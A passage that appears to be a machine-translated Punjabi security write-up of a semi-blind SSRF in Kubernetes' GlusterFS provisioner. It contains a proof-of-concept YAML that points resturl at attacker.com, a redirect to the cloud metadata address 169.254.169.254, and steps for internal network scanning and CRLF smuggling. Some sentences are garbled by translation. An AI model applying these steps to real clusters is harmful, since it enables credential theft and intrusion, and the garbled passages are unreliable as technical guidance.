เจธเจŸเฉ‹เจฐเฉ‡เจœเจผ เจ•เจฒเจพเจธ เจตเจฟเจธเจผเจฒเฉ‡เจธเจผเจฃ เจฆเฉ‡ เจฆเฉŒเจฐเจพเจจ GlusterFS เจ—เฉ‹เจฒเฉฐเจ— เจ•เจฒเจพเจ‡เฉฐเจŸ เจธเฉ‹เจฐเจธ เจ•เฉ‹เจก เจตเจฟเฉฑเจš เจ…เจธเฉ€เจ‚ เจฆเฉ‡เจ–เจฟเจ†เจœเฉ‹ เจ•เจฟ เจชเจนเจฟเจฒเฉ€ HTTP เจฌเฉ‡เจจเจคเฉ€ (3) 'เจคเฉ‡ เจตเฉŒเจฒเจฏเฉ‚เจฎ เจฌเจฃเจพเจ‰เจฃ เจฆเฉŒเจฐเจพเจจ เจญเฉ‡เจœเฉ€ เจ—เจˆ, เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจตเจฟเฉฑเจš เจ•เจธเจŸเจฎ URL เจฆเฉ‡ เจ…เฉฐเจค เจคเฉฑเจ• resturl เจธเจผเจพเจฎเจฒ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆ /volumes.

เจ…เจธเฉ€เจ‚ เจœเฉ‹เฉœ เจ•เฉ‡ เจ‡เจธ เจตเจพเจงเฉ‚ เจฎเจพเจฐเจ— เจคเฉ‹เจ‚ เจ›เฉเจŸเจ•เจพเจฐเจพ เจชเจพเจ‰เจฃ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพ # เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจตเจฟเฉฑเจš resturl. เจ‡เจน เจชเจนเจฟเจฒเฉ€ YAML เจธเฉฐเจฐเจšเจจเจพ เจนเฉˆ เจœเฉ‹ เจ…เจธเฉ€เจ‚ เจ…เจฐเจง-เจ…เฉฐเจจเฉเจนเฉ‡ SSRF เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฒเจˆ เจŸเฉˆเจธเจŸ เจ•เจฐเจจ เจฒเจˆ เจตเจฐเจคเฉ€ เจธเฉ€ (เจคเฉเจธเฉ€เจ‚ เจ…เจฐเจง-เจ…เฉฐเจจเฉเจนเฉ‡ เจœเจพเจ‚ เจ…เฉฑเจง-เจ…เฉฐเจจเฉเจนเฉ‡ SSRF เจฌเจพเจฐเฉ‡ เจนเฉ‹เจฐ เจชเฉœเฉเจน เจธเจ•เจฆเฉ‡ เจนเฉ‹, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจ‡เฉฑเจฅเฉ‡ - เจฒเจ—เจญเจ— เจ…เจจเฉเจตเจพเจฆเฅค):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

เจซเจฟเจฐ เจ…เจธเฉ€เจ‚ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ•เจฒเฉฑเจธเจŸเจฐ เจจเฉ‚เฉฐ เจฐเจฟเจฎเฉ‹เจŸเจฒเฉ€ เจชเฉเจฐเจฌเฉฐเจงเจฟเจค เจ•เจฐเจจ เจฒเจˆ เจฌเจพเจˆเจจเจฐเฉ€ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เฉ€เจคเฉ€ kubectl. เจ†เจฎ เจคเฉŒเจฐ 'เจคเฉ‡, เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพ (Azure, Google, AWS, เจ†เจฆเจฟ) เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ‡เจธ เจธเจนเฉ‚เจฒเจค เจตเจฟเฉฑเจš เจตเจฐเจคเฉ‹เจ‚ เจฒเจˆ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฆเฉ€ เจ‡เจœเจพเจœเจผเจค เจฆเจฟเฉฐเจฆเฉ‡ เจนเจจเฅค

เจ‡เจธเจฆเจพ เจงเฉฐเจจเจตเจพเจฆ, เจฎเฉˆเจ‚ เจ†เจชเจฃเฉ€ "เจตเจฟเจธเจผเฉ‡เจธเจผ" เจซเจพเจˆเจฒ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจธเฉ€. เจ•เฉเจฌเฉ‡-เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ-เจชเฉเจฐเจฌเฉฐเจงเจ• เจจเฉ‡ เจจเจคเฉ€เจœเฉ‡ เจตเจœเฉ‹เจ‚ HTTP เจฌเฉ‡เจจเจคเฉ€ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‡เจ†:

kubectl create -f sc-poc.yaml

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...
เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ‡ เจจเจœเจผเจฐเฉ€เจ เจคเฉ‹เจ‚ เจœเจตเจพเจฌ

เจ‡เจธ เจคเฉ‹เจ‚ เจฅเฉ‹เฉœเฉเจนเฉ€ เจฆเฉ‡เจฐ เจฌเจพเจ…เจฆ, เจ…เจธเฉ€เจ‚ เจŸเจพเจฐเจ—เฉ‡เจŸ เจธเจฐเจตเจฐ เจคเฉ‹เจ‚ เจ‡เฉฑเจ• HTTP เจœเจตเจพเจฌ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจนเฉ‹ เจ—เจ - เจ•เจฎเจพเจ‚เจกเจพเจ‚ เจฐเจพเจนเฉ€เจ‚ describe pvc เจœ get events kubectl เจตเจฟเฉฑเจš. เจ…เจคเฉ‡ เจ…เจธเจฒ เจตเจฟเฉฑเจš: เจ‡เจน เจกเจฟเจซเฉŒเจฒเจŸ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจกเจฐเจพเจˆเจตเจฐ เจ‡เจธเจฆเฉ€เจ†เจ‚ เจšเฉ‡เจคเจพเจตเจจเฉ€เจ†เจ‚/เจ—เจฒเจคเฉ€ เจธเฉเจจเฉ‡เจนเจฟเจ†เจ‚ เจตเจฟเฉฑเจš เจฌเจนเฉเจค เจœเจผเจฟเจ†เจฆเจพ เจตเจฐเจฌเฉ‹เจธ เจนเฉˆ...

เจ‡เฉฑเจฅเฉ‡ เจ‡เฉฑเจ• เจฒเจฟเฉฐเจ• เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจ‰เจฆเจพเจนเจฐเจจ เจนเฉˆ https://www.google.frเจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจตเจœเฉ‹เจ‚ เจธเฉˆเฉฑเจŸ เจ•เจฐเฉ‹ resturl:

kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตั‚ะต ะฒะพัะฟะพะปัŒะทะพะฒะฐั‚ัŒัั kubectl get events

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจ‡เจธ เจชเจนเฉเฉฐเจš เจตเจฟเฉฑเจš, เจ…เจธเฉ€เจ‚ เจธเจตเจพเจฒเจพเจ‚ เจคเฉฑเจ• เจธเฉ€เจฎเจฟเจค เจธเฉ€ เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ HTTP เจชเฉ‹เจธเจŸ เจ…เจคเฉ‡ เจœเฉ‡เจ•เจฐ เจฐเจฟเจŸเจฐเจจ เจ•เฉ‹เจก เจธเฉ€ เจคเจพเจ‚ เจœเจตเจพเจฌ เจฆเฉ‡ เจญเจพเจ— เจฆเฉ€ เจธเจฎเฉฑเจ—เจฐเฉ€ เจชเฉเจฐเจพเจชเจค เจจเจนเฉ€เจ‚ เจ•เจฐ เจธเจ•เจฟเจ† 201. เจ‡เจธ เจฒเจˆ, เจ…เจธเฉ€เจ‚ เจตเจพเจงเฉ‚ เจ–เฉ‹เจœ เจ•เจฐเจจ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพ เจนเฉˆ เจ…เจคเฉ‡ เจ‡เจธ เจนเฉˆเจ•เจฟเฉฐเจ— เจฆเฉเจฐเจฟเจธเจผ เจจเฉ‚เฉฐ เจจเจตเฉ‡เจ‚ เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจตเจฟเจธเจคเจพเจฐ เจ•เฉ€เจคเจพ เจนเฉˆเฅค

เจธเจพเจกเฉ€ เจ–เฉ‹เจœ เจฆเจพ เจตเจฟเจ•เจพเจธ

  • เจ‰เฉฑเจจเจค เจฆเฉเจฐเจฟเจธเจผ #1: เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจกเฉ‡เจŸเจพ เจ‡เจ•เฉฑเจ เจพ เจ•เจฐเจจ เจฒเจˆ เจตเจงเฉ‡เจฐเฉ‡ เจฒเจšเจ•เจฆเจพเจฐ เจคเจฐเฉ€เจ•เจพ เจชเฉเจฐเจฆเจพเจจ เจ•เจฐเจจ เจฒเจˆ HTTP เจตเจฟเจงเฉ€ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ เจฒเจˆ เจ‡เฉฑเจ• เจฌเจพเจนเจฐเฉ€ เจธเจฐเจตเจฐ เจคเฉ‹เจ‚ 302 เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเจพเฅค
  • เจ‰เฉฑเจจเจค เจฆเฉเจฐเจฟเจธเจผ #2: LAN เจธเจ•เฉˆเจจเจฟเฉฐเจ— เจ…เจคเฉ‡ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจธเจฐเฉ‹เจค เจ–เฉ‹เจœ เจจเฉ‚เฉฐ เจธเจตเฉˆเจšเจพเจฒเจค เจ•เจฐเฉ‹เฅค
  • เจ‰เฉฑเจจเจค เจฆเฉเจฐเจฟเจธเจผ #3: เจ…เจจเฉเจ•เฉ‚เจฒเจฟเจค HTTP เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจฌเจฃเจพเจ‰เจฃ เจ…เจคเฉ‡ เจ•เจฟเจŠเจฌ-เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ เจฒเฉŒเจ—เจธ เจคเฉ‹เจ‚ เจเจ•เจธเจŸเจฐเฉˆเจ•เจŸ เจ•เฉ€เจคเฉ‡ เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจฎเฉเฉœ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ HTTP CRLF + เจธเจฎเจ—เจฒเจฟเฉฐเจ— ("เจฌเฉ‡เจจเจคเฉ€ เจคเจธเจ•เจฐเฉ€") เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจเจพเฅค

เจคเจ•เจจเฉ€เจ•เฉ€ เจจเจฟเจฐเจงเจพเจฐเจจ

  • เจ–เฉ‹เจœ เจจเฉ‡ เจ‰เฉฑเจคเจฐเฉ€ เจฏเฉ‚เจฐเจช เจ–เฉ‡เจคเจฐ เจตเจฟเฉฑเจš Kubernetes เจธเฉฐเจธเจ•เจฐเจฃ 1.12 เจฆเฉ‡ เจจเจพเจฒ Azure Kubernetes Service (AKS) เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เฉ€เจคเฉ€เฅค
  • เจ‰เฉฑเจชเจฐ เจฆเฉฑเจธเฉ‡ เจ—เจ เจฆเฉเจฐเจฟเจธเจผ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ‡ เจจเจตเฉ€เจจเจคเจฎ เจฐเฉ€เจฒเฉ€เจœเจผเจพเจ‚ 'เจคเฉ‡ เจฒเจพเจ—เฉ‚ เจ•เฉ€เจคเฉ‡ เจ—เจ เจธเจจ, เจคเฉ€เจœเฉ‡ เจฆเฉเจฐเจฟเจธเจผ เจฆเฉ‡ เจ…เจชเจตเจพเจฆ เจฆเฉ‡ เจจเจพเจฒ, เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ‰เจธเจจเฉ‚เฉฐ เจ—เฉ‹เจฒเฉฐเจ— เจตเจฐเจœเจจ โ‰ค 1.12 เจจเจพเจฒ เจฌเจฃเฉ‡ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€ เจฒเฉ‹เฉœ เจธเฉ€เฅค
  • เจนเจฎเจฒเจพเจตเจฐ เจฆเจพ เจฌเจพเจนเจฐเฉ€ เจธเจฐเจตเจฐ - https://attacker.com.

เจ‰เฉฑเจจเจค เจฆเฉเจฐเจฟเจธเจผ #1: เจ‡เฉฑเจ• HTTP POST เจฌเฉ‡เจจเจคเฉ€ เจจเฉ‚เฉฐ GET เจฒเจˆ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเจจเจพ เจ…เจคเฉ‡ เจธเฉฐเจตเฉ‡เจฆเจจเจธเจผเฉ€เจฒ เจกเฉ‡เจŸเจพ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจเจพ

เจตเจพเจชเจธ เจœเจพเจฃ เจฒเจˆ เจนเจฎเจฒเจพเจตเจฐ เจฆเฉ‡ เจธเจฐเจตเจฐ เจฆเฉ€ เจธเฉฐเจฐเจšเจจเจพ เจฆเฉเจ†เจฐเจพ เจ…เจธเจฒ เจตเจฟเจงเฉ€ เจจเฉ‚เฉฐ เจธเฉเจงเจพเจฐเจฟเจ† เจ—เจฟเจ† เจธเฉ€ 302 HTTP เจฐเฉ€เจ•เฉ‹เจกเจ‡เฉฑเจ• POST เจฌเฉ‡เจจเจคเฉ€ เจจเฉ‚เฉฐ GET เจฌเฉ‡เจจเจคเฉ€ เจตเจฟเฉฑเจš เจฌเจฆเจฒเจฃ เจฒเจˆ (เจกเจพเจ‡เจ—เจฐเจพเจฎ เจตเจฟเฉฑเจš เจ•เจฆเจฎ 4):

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจชเจนเจฟเจฒเฉ€ เจฌเฉ‡เจจเจคเฉ€ (3) เจ—เจพเจนเจ• เจคเฉ‹เจ‚ เจ† เจฐเจนเฉ€ เจนเฉˆ GlusterFS (เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ เจฎเฉˆเจจเฉ‡เจœเจฐ), เจ•เฉ‹เจฒ เจ‡เฉฑเจ• POST เจ•เจฟเจธเจฎ เจนเฉˆเฅค เจ‡เจนเจจเจพเจ‚ เจ•เจฆเจฎเจพเจ‚ เจฆเฉ€ เจชเจพเจฒเจฃเจพ เจ•เจฐเจ•เฉ‡ เจ…เจธเฉ€เจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจ‡เฉฑเจ• GET เจตเจฟเฉฑเจš เจฌเจฆเจฒเจฃ เจฆเฉ‡ เจฏเฉ‹เจ— เจนเฉ‹ เจ—เจ:

  • เจ‡เฉฑเจ• เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐ เจฆเฉ‡ เจคเฉŒเจฐ เจคเฉ‡ resturl เจธเจŸเฉ‹เจฐเฉ‡เจœ เจ•เจฒเจพเจธ เจตเจฟเฉฑเจš เจ‡เจน เจฆเจฐเจธเจพเจ‡เจ† เจ—เจฟเจ† เจนเฉˆ http://attacker.com/redirect.php.
  • เจ…เฉฐเจคเจฎ เจชเฉ‹เจฐเจŸ https://attacker.com/redirect.php เจนเฉ‡เจ เจพเจ‚ เจฆเจฟเฉฑเจคเฉ‡ เจธเจฅเจพเจจ เจธเจฟเจฐเจฒเฉ‡เจ– เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• 302 HTTP เจธเจฅเจฟเจคเฉ€ เจ•เฉ‹เจก เจจเจพเจฒ เจœเจตเจพเจฌ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ: http://169.254.169.254. เจ‡เจน เจ•เฉ‹เจˆ เจนเฉ‹เจฐ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจธเจฐเฉ‹เจค เจนเฉ‹ เจธเจ•เจฆเจพ เจนเฉˆ - เจ‡เจธ เจ•เฉ‡เจธ เจตเจฟเฉฑเจš, เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจฒเจฟเฉฐเจ• เจจเฉ‚เฉฐ เจธเจฟเจฐเจซเจผ เจ‡เฉฑเจ• เจ‰เจฆเจพเจนเจฐเจฃ เจตเจœเฉ‹เจ‚ เจตเจฐเจคเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ.
  • เจฎเฉ‚เจฒ เจฐเฉ‚เจช เจตเจฟเฉฑเจš net/http เจฒเจพเจ‡เจฌเฉเจฐเฉ‡เจฐเฉ€ เจ—เฉ‹เจฒเฉฐเจ— เจฌเฉ‡เจจเจคเฉ€ เจจเฉ‚เฉฐ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ POST เจจเฉ‚เฉฐ 302 เจธเจฅเจฟเจคเฉ€ เจ•เฉ‹เจก เจจเจพเจฒ GET เจตเจฟเฉฑเจš เจฌเจฆเจฒเจฆเจพ เจนเฉˆ, เจจเจคเฉ€เจœเฉ‡ เจตเจœเฉ‹เจ‚ เจŸเฉ€เจšเฉ‡ เจฆเฉ‡ เจธเจฐเฉ‹เจค เจฒเจˆ HTTP GET เจฌเฉ‡เจจเจคเฉ€ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆเฅค

HTTP เจœเจตเจพเจฌ เจธเจฐเฉ€เจฐ เจจเฉ‚เฉฐ เจชเฉœเฉเจนเจจ เจฒเจˆ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ•เฉ€ เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ describe เจชเฉ€เจตเฉ€เจธเฉ€ เจตเจธเจคเฉ‚:

kubectl describe pvc xxx

เจ‡เฉฑเจฅเฉ‡ JSON เจซเจพเจฐเจฎเฉˆเจŸ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• HTTP เจœเจตเจพเจฌ เจฆเฉ€ เจ‡เฉฑเจ• เจ‰เจฆเจพเจนเจฐเจจ เจนเฉˆ เจœเฉ‹ เจ…เจธเฉ€เจ‚ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฆเฉ‡ เจฏเฉ‹เจ— เจธเฉ€:

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจ‰เจธ เจธเจฎเฉ‡เจ‚ เจชเจพเจˆ เจ—เจˆ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€เจ†เจ‚ เจธเจฎเจฐเฉฑเจฅเจพเจตเจพเจ‚ เจนเฉ‡เจ  เจฒเจฟเจ–เฉ‡ เจจเฉเจ•เจคเจฟเจ†เจ‚ เจฆเฉ‡ เจ•เจพเจฐเจจ เจธเฉ€เจฎเจค เจธเจจ:

  • เจ†เจŠเจŸเจ—เฉ‹เจ‡เฉฐเจ— เจฌเฉ‡เจจเจคเฉ€ เจตเจฟเฉฑเจš HTTP เจธเจฟเจฐเจฒเฉ‡เจ– เจธเจผเจพเจฎเจฒ เจ•เจฐเจจ เจตเจฟเฉฑเจš เจ…เจธเจฎเจฐเฉฑเจฅเจพเฅค
  • เจธเจฐเฉ€เจฐ เจตเจฟเฉฑเจš เจชเฉˆเจฐเจพเจฎเฉ€เจŸเจฐเจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• POST เจฌเฉ‡เจจเจคเฉ€ เจ•เจฐเจจ เจตเจฟเฉฑเจš เจ…เจธเจฎเจฐเฉฑเจฅเจพ (เจ‡เจน เจšเฉฑเจฒ เจฐเจนเฉ‡ etcd เจ‰เจฆเจพเจนเจฐเจฃ เจคเฉ‹เจ‚ เจฎเฉเฉฑเจ– เจฎเฉเฉฑเจฒ เจฆเฉ€ เจฌเฉ‡เจจเจคเฉ€ เจ•เจฐเจจ เจฒเจˆ เจธเฉเจตเจฟเจงเจพเจœเจจเจ• เจนเฉˆ 2379 เจชเฉ‹เจฐเจŸ เจœเฉ‡เจ•เจฐ เจ…เจฃ-เจ‡เจจเจ•เฉเจฐเจฟเจชเจŸเจก HTTP เจตเจฐเจคเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ)เฅค
  • เจœเจฆเฉ‹เจ‚ เจธเจฅเจฟเจคเฉ€ เจ•เฉ‹เจก 200 เจธเฉ€ เจ…เจคเฉ‡ เจœเจตเจพเจฌ เจตเจฟเฉฑเจš JSON เจธเจฎเฉฑเจ—เจฐเฉ€-เจ•เจฟเจธเจฎ เจจเจนเฉ€เจ‚ เจธเฉ€ เจคเจพเจ‚ เจœเจตเจพเจฌ เจฆเฉ‡ เจญเจพเจ— เจธเจฎเฉฑเจ—เจฐเฉ€ เจจเฉ‚เฉฐ เจฎเฉเฉœ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจตเจฟเฉฑเจš เจ…เจธเจฎเจฐเฉฑเจฅเจพเฅค

เจ‰เฉฑเจจเจค เจฆเฉเจฐเจฟเจธเจผ #2: เจธเจฅเจพเจจเจ• เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจจเฉ‚เฉฐ เจธเจ•เฉˆเจจ เจ•เจฐเจจเจพ

เจ‡เจน เจ…เฉฑเจง-เจ…เฉฐเจจเฉเจนเจพ SSRF เจตเจฟเจงเฉ€ เจซเจฟเจฐ เจ•เจฒเจพเจ‰เจก เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ‡ เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจจเฉ‚เฉฐ เจธเจ•เฉˆเจจ เจ•เจฐเจจ เจ…เจคเฉ‡ เจœเจตเจพเจฌเจพเจ‚ เจฆเฉ‡ เจ†เจงเจพเจฐ 'เจคเฉ‡ เจตเฉฑเจ–-เจตเฉฑเจ– เจธเฉเจฃเจจ เจฆเฉ€เจ†เจ‚ เจธเฉ‡เจตเจพเจตเจพเจ‚ (เจฎเฉˆเจŸเจพเจกเฉ‡เจŸเจพ เจ‰เจฆเจพเจนเจฐเจฃ, เจ•เฉเจฌเฉ‡เจฒเฉ‡เจŸ, เจ†เจฆเจฟ, เจ†เจฆเจฟ) เจจเฉ‚เฉฐ เจชเฉ‹เจฒ เจ•เจฐเจจ เจฒเจˆ เจตเจฐเจคเฉ€ เจ—เจˆ เจธเฉ€เฅค kube เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ.

เจœเจฆเฉ‹เจ‚ เจ‡เจน เจธเจฟเจฐเจซ เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจฆเฉ€เจ†เจ‚ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฌเจพเจฐเฉ‡ เจจเจนเฉ€เจ‚ เจนเฉˆ ...

เจชเจนเจฟเจฒเจพเจ‚, เจ•เฉเจฌเจฐเจจเฉ‡เจŸเจธ เจ•เฉฐเจชเฉ‹เจจเฉˆเจ‚เจŸเจธ เจฆเฉ‡ เจธเจŸเฉˆเจ‚เจกเจฐเจก เจฒเจฟเจธเจจเจฟเฉฐเจ— เจชเฉ‹เจฐเจŸเจพเจ‚ เจจเฉ‚เฉฐ เจจเจฟเจฐเจงเจพเจฐเจค เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€ (8443, 10250, 10251, เจ†เจฆเจฟ), เจ…เจคเฉ‡ เจซเจฟเจฐ เจธเจพเจจเฉ‚เฉฐ เจธเจ•เฉˆเจจเจฟเฉฐเจ— เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจจเฉ‚เฉฐ เจธเจตเฉˆเจšเจฒเจฟเจค เจ•เจฐเจจเจพ เจชเจฟเจ†เฅค

เจ‡เจน เจฆเฉ‡เจ–เจฆเฉ‡ เจนเฉ‹เจ เจ•เจฟ เจธเจฐเฉ‹เจคเจพเจ‚ เจจเฉ‚เฉฐ เจธเจ•เฉˆเจจ เจ•เจฐเจจ เจฆเจพ เจ‡เจน เจคเจฐเฉ€เจ•เจพ เจฌเจนเฉเจค เจ–เจพเจธ เจนเฉˆ เจ…เจคเฉ‡ เจ‡เจน เจ•เจฒเจพเจธเจฟเจ• เจธเจ•เฉˆเจจเจฐเจพเจ‚ เจ…เจคเฉ‡ SSRF เจŸเฉ‚เจฒเจธ เจฆเฉ‡ เจ…เจจเฉเจ•เฉ‚เจฒ เจจเจนเฉ€เจ‚ เจนเฉˆ, เจ…เจธเฉ€เจ‚ เจ†เจชเจฃเฉ‡ เจ–เฉเจฆ เจฆเฉ‡ เจตเจฐเจ•เจฐเจพเจ‚ เจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจฌเฉˆเจธเจผ เจธเจ•เฉเจฐเจฟเจชเจŸ เจตเจฟเฉฑเจš เจฌเจฃเจพเจ‰เจฃ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพ เจนเฉˆ เจœเฉ‹ เจชเฉ‚เจฐเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจจเฉ‚เฉฐ เจธเจตเฉˆเจšเจฒเจฟเจค เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจ…เฉฐเจฆเจฐเฉ‚เจจเฉ€ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจฆเฉ€ เจฐเฉ‡เจ‚เจœ 172.16.0.0/12 เจจเฉ‚เฉฐ เจคเฉ‡เจœเจผเฉ€ เจจเจพเจฒ เจธเจ•เฉˆเจจ เจ•เจฐเจจ เจฒเจˆ, 15 เจ•เจฐเจฎเจšเจพเจฐเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจธเจฎเจพเจจเจพเจ‚เจคเจฐ เจตเจฟเฉฑเจš เจฒเจพเจ‚เจš เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€เฅค เจ‰เจชเจฐเฉ‹เจ•เจค เจ†เจˆเจชเฉ€ เจฐเฉ‡เจ‚เจœ เจจเฉ‚เฉฐ เจธเจฟเจฐเจซเจผ เจ‡เฉฑเจ• เจ‰เจฆเจพเจนเจฐเจจ เจตเจœเฉ‹เจ‚ เจšเฉเจฃเจฟเจ† เจ—เจฟเจ† เจนเฉˆ เจ…เจคเฉ‡ เจคเฉเจนเจพเจกเฉ‡ เจ–เจพเจธ เจธเฉ‡เจตเจพ เจชเฉเจฐเจฆเจพเจคเจพ เจฆเฉ€ IP เจฐเฉ‡เจ‚เจœ เจตเจฟเฉฑเจš เจฌเจฆเจฒเจฟเจ† เจœเจพ เจธเจ•เจฆเจพ เจนเฉˆเฅค

เจ‡เฉฑเจ• IP เจเจกเจฐเฉˆเฉฑเจธ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจชเฉ‹เจฐเจŸ เจจเฉ‚เฉฐ เจธเจ•เฉˆเจจ เจ•เจฐเจจ เจฒเจˆ, เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ‡เจน เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ:

  • เจ†เจ–เจฐเฉ€ เจœเจพเจ‚เจš เจ•เฉ€เจคเฉ€ เจธเจŸเฉ‹เจฐเฉ‡เจœ เจ•เจฒเจพเจธ เจจเฉ‚เฉฐ เจฎเจฟเจŸเจพเจ“;
  • เจชเจฟเจ›เจฒเฉ‡ เจชเฉเจฐเจฎเจพเจฃเจฟเจค เจชเจฐเจธเจฟเจธเจŸเฉˆเจ‚เจŸ เจตเจพเจฒเฉ€เจ…เจฎ เจ•เจฒเฉ‡เจฎ เจจเฉ‚เฉฐ เจนเจŸเจพเจ“;
  • เจตเจฟเฉฑเจš IP เจ…เจคเฉ‡ เจชเฉ‹เจฐเจŸ เจฎเฉเฉฑเจฒ เจฌเจฆเจฒเฉ‹ sc.yaml;
  • เจ‡เฉฑเจ• เจจเจตเฉ‡เจ‚ เจ†เจˆเจชเฉ€ เจ…เจคเฉ‡ เจชเฉ‹เจฐเจŸ เจจเจพเจฒ เจธเจŸเฉ‹เจฐเฉ‡เจœ เจ•เจฒเจพเจธ เจฌเจฃเจพเจ“;
